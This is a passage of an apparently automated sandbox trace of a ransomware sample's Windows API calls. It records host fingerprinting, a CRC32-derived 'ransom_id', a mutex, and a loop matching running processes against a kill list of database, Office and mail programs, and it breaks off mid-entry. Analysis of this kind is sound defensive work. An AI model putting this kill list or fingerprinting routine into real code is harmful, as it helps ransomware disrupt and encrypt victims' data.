lpcbData=0x19fcb4*=0x2) returned 0x0 [0157.803] RegCloseKey (hKey=0x164) returned 0x0 [0157.803] wsprintfW (in: param_1=0x573520, param_2="WORKGROUP" | out: param_1="WORKGROUP") returned 9 [0157.803] GetWindowsDirectoryW (in: lpBuffer=0x58b130, uSize=0x100 | out: lpBuffer="C:\\Windows") returned 0xa [0157.803] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x58b330, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x58b730, lpMaximumComponentLength=0x58b738, lpFileSystemFlags=0x58b734, lpFileSystemNameBuffer=0x58b530, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x58b730*=0xd2ca4def, lpMaximumComponentLength=0x58b738*=0xff, lpFileSystemFlags=0x58b734*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0157.804] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fca4 | out: phkResult=0x19fca4*=0x164) returned 0x0 [0157.804] RegQueryValueExW (in: hKey=0x164, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x58b73c, lpcbData=0x19fcb4*=0x80 | out: lpType=0x0, lpData=0x58b73c*=0x49, lpcbData=0x19fcb4*=0x54) returned 0x0 [0157.804] RegCloseKey (hKey=0x164) returned 0x0 [0157.804] lstrlenW (lpString="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHz") returned 41 [0157.804] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fca4 | out: phkResult=0x19fca4*=0x164) returned 0x0 [0157.804] RegQueryValueExW (in: hKey=0x164, lpValueName="Identifier", lpReserved=0x0, lpType=0x0, lpData=0x58b78e, lpcbData=0x19fcb4*=0x80 | out: lpType=0x0, lpData=0x58b78e*=0x49, lpcbData=0x19fcb4*=0x4a) returned 0x0 [0157.804] RegCloseKey (hKey=0x164) returned 0x0 [0157.804] wsprintfW (in: param_1=0x58ad28, param_2="%d" | out: param_1="-758493713") returned 10 [0157.804] lstrcatW (in: lpString1="-758493713", lpString2="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" | out: lpString1="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" [0157.804] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77460000 [0157.804] GetProcAddress (hModule=0x77460000, lpProcName="RtlComputeCrc32") returned 0x77486b10 [0157.804] lstrlenW (lpString="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned 87 [0157.804] RtlComputeCrc32 (PartialCrc=0x29a, Buffer=0x58ad28, Length=0xae) returned 0xdce1bb8b [0157.804] lstrlenW (lpString="WORKGROUP") returned 9 [0157.804] lstrlenW (lpString="pc_group") returned 8 [0157.804] VirtualAlloc (lpAddress=0x0, dwSize=0x94, flAllocationType=0x3000, flProtect=0x40) returned 0x220000 [0157.805] lstrcpyW (in: lpString1=0x220000, lpString2="Global\\" | out: lpString1="Global\\") returned="Global\\" [0157.805] lstrlenW (lpString="Global\\") returned 7 [0157.805] lstrcatW (in: lpString1="", lpString2="pc_group" | out: lpString1="pc_group") returned="pc_group" [0157.805] lstrcatW (in: lpString1="pc_group", lpString2="=" | out: lpString1="pc_group=") returned="pc_group=" [0157.805] lstrcatW (in: lpString1="pc_group=", lpString2="WORKGROUP" | out: lpString1="pc_group=WORKGROUP") returned="pc_group=WORKGROUP" [0157.805] lstrcatW (in: lpString1="pc_group=WORKGROUP", lpString2="&" | out: lpString1="pc_group=WORKGROUP&") returned="pc_group=WORKGROUP&" [0157.805] VirtualAlloc (lpAddress=0x0, dwSize=0x42, flAllocationType=0x3000, flProtect=0x40) returned 0x230000 [0157.805] wsprintfW (in: param_1=0x230000, param_2="%x%x" | out: param_1="dce1bb8bd2ca4def") returned 16 [0157.805] lstrcatW (in: lpString1="pc_group=WORKGROUP&", lpString2="ransom_id" | out: lpString1="pc_group=WORKGROUP&ransom_id") returned="pc_group=WORKGROUP&ransom_id" [0157.805] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id", lpString2="=" | out: lpString1="pc_group=WORKGROUP&ransom_id=") returned="pc_group=WORKGROUP&ransom_id=" [0157.805] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=", lpString2="dce1bb8bd2ca4def" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def" [0157.805] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def", lpString2="&" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&" [0157.805] VirtualFree (lpAddress=0x230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0157.805] lstrlenW (lpString="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned 46 [0157.805] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned 0x164 [0157.805] GetLastError () returned 0x0 [0157.805] GetLastError () returned 0x0 [0157.805] VirtualFree (lpAddress=0x220000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0157.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402d5c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x168 [0157.806] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0x1388) returned 0x102 [0162.811] TerminateThread (hThread=0x168, dwExitCode=0x0) returned 1 [0162.812] CloseHandle (hObject=0x168) returned 1 [0162.812] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0162.815] VirtualAlloc (lpAddress=0x0, dwSize=0x22c, flAllocationType=0x3000, flProtect=0x4) returned 0x260000 [0162.815] Process32FirstW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.816] lstrcmpiW (lpString1="msftesql.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="sqlagent.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="sqlservr.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="oracle.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="ocssd.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="synctime.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="ocomm.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="mysqld.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="dbeng50.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="excel.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="infopath.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="msaccess.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="mspub.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="onenote.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="outlook.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="powerpnt.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="steam.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="sqlservr.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="thebat.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="thebat64.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="thunderbird.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="visio.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="winword.exe", lpString2="[System Process]") returned 1 [0162.816] lstrcmpiW (lpString1="wordpad.exe", lpString2="[System Process]") returned 1 [0162.817] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x64, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0162.817] lstrcmpiW (lpString1="msftesql.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="sqlagent.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="oracle.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="ocssd.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="synctime.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="System") returned 1 [0162.817] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="System") returned 1 [0162.817] lstrcmpiW (lpString1="ocomm.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="dbeng50.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="excel.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="infopath.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="msaccess.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="mspub.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="onenote.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="powerpnt.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="steam.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0162.817] lstrcmpiW (lpString1="thebat.exe", lpString2="System") returned 1 [0162.818] lstrcmpiW (lpString1="thebat64.exe", lpString2="System") returned 1 [0162.818] lstrcmpiW (lpString1="thunderbird.exe", lpString2="System") returned 1 [0162.818] lstrcmpiW (lpString1="visio.exe", lpString2="System") returned 1 [0162.818] lstrcmpiW (lpString1="winword.exe", lpString2="System") returned 1 [0162.818] lstrcmpiW (lpString1="wordpad.exe", lpString2="System") returned 1 [0162.818] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0162.818] lstrcmpiW (lpString1="msftesql.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="sqlagent.exe", lpString2="smss.exe") returned 1 [0162.818] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="smss.exe") returned 1 [0162.818] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0162.818] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="smss.exe") returned 1 [0162.818] lstrcmpiW (lpString1="oracle.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="ocssd.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="synctime.exe", lpString2="smss.exe") returned 1 [0162.818] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="smss.exe") returned 1 [0162.818] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="smss.exe") returned 1 [0162.818] lstrcmpiW (lpString1="ocomm.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="dbeng50.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="smss.exe") returned 1 [0162.818] lstrcmpiW (lpString1="excel.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="infopath.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="msaccess.exe", lpString2="smss.exe") returned -1 [0162.818] lstrcmpiW (lpString1="mspub.exe", lpString2="smss.exe") returned -1 [0162.819] lstrcmpiW (lpString1="onenote.exe", lpString2="smss.exe") returned -1 [0162.819] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0162.819] lstrcmpiW (lpString1="powerpnt.exe", lpString2="smss.exe") returned -1 [0162.819] lstrcmpiW (lpString1="steam.exe", lpString2="smss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="thebat.exe", lpString2="smss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="thebat64.exe", lpString2="smss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="thunderbird.exe", lpString2="smss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="visio.exe", lpString2="smss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="winword.exe", lpString2="smss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="wordpad.exe", lpString2="smss.exe") returned 1 [0162.819] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.819] lstrcmpiW (lpString1="msftesql.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="sqlagent.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="oracle.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="ocssd.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="synctime.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="csrss.exe") returned -1 [0162.819] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="csrss.exe") returned -1 [0162.819] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="csrss.exe") returned -1 [0162.819] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="ocomm.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0162.819] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="csrss.exe") returned 1 [0162.820] lstrcmpiW (lpString1="dbeng50.exe", lpString2="csrss.exe") returned 1 [0162.820] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="csrss.exe") returned 1 [0162.820] lstrcmpiW (lpString1="excel.exe", lpString2="csrss.exe") returned 1 [0162.820] lstrcmpiW (lpString1="infopath.exe", lpString2="csrss.exe") returned 1 [0162.820] lstrcmpiW (lpString1="msaccess.exe", lpString2="csrss.exe") returned 1 [0162.820] lstrcmpiW (lpString1="mspub.exe", lpString2="csrss.exe") returned 1 [0162.820] lstrcmpiW (lpString1="onenote.exe", lpString2="csrss.exe") returned 1 [0162.820] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0162.820] lstrcmpiW (lpString1="powerpnt.exe", lpString2="csrss.exe") returned 1 [0162.820] lstrcmpiW (lpString1="steam.exe", lpString2="csrss.exe") returned 1 [0162.820] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0162.820] lstrcmpiW (lpString1="thebat.exe", lpString2="csrss.exe") returned 1 [0162.820] lstrcmpiW (lpString1="thebat64.exe", lpString2="csrss.exe") returned 1 [0162.820] lstrcmpiW (lpString1="thunderbird.exe", lpString2="csrss.exe") returned 1 [0162.820] lstrcmpiW (lpString1="visio.exe", lpString2="csrss.exe") returned 1 [0162.820] lstrcmpiW (lpString1="winword.exe", lpString2="csrss.exe") returned 1 [0162.820] lstrcmpiW (lpString1="wordpad.exe", lpString2="csrss.exe") returned 1 [0162.820] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0162.820] lstrcmpiW (lpString1="msftesql.exe", lpString2="wininit.exe") returned -1 [0162.820] lstrcmpiW (lpString1="sqlagent.exe", lpString2="wininit.exe") returned -1 [0162.820] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="wininit.exe") returned -1 [0162.820] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0162.820] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="wininit.exe") returned -1 [0162.820] lstrcmpiW (lpString1="oracle.exe", lpString2="wininit.exe") returned -1 [0162.820] lstrcmpiW (lpString1="ocssd.exe", lpString2="wininit.exe") returned -1 [0162.820] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="wininit.exe") returned -1 [0162.820] lstrcmpiW (lpString1="synctime.exe", lpString2="wininit.exe") returned -1 [0162.820] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="wininit.exe") returned -1 [0162.820] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="wininit.exe") returned -1 [0162.820] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="wininit.exe") returned 1 [0162.821] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="ocomm.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="dbeng50.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="excel.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="infopath.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="msaccess.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="mspub.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="onenote.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="powerpnt.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="steam.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="thebat.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="thebat64.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="thunderbird.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="visio.exe", lpString2="wininit.exe") returned -1 [0162.821] lstrcmpiW (lpString1="winword.exe", lpString2="wininit.exe") returned 1 [0162.821] lstrcmpiW (lpString1="wordpad.exe", lpString2="wininit.exe") returned 1 [0162.821] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.822] lstrcmpiW (lpString1="msftesql.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="sqlagent.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="oracle.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="ocssd.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="synctime.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="csrss.exe") returned -1 [0162.822] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="csrss.exe") returned -1 [0162.822] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="csrss.exe") returned -1 [0162.822] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="ocomm.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="dbeng50.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="excel.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="infopath.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="msaccess.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="mspub.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="onenote.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="powerpnt.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="steam.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="thebat.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="thebat64.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="thunderbird.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="visio.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="winword.exe", lpString2="csrss.exe") returned 1 [0162.822] lstrcmpiW (lpString1="wordpad.exe", lpString2="csrss.exe") returned 1 [0162.822] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, 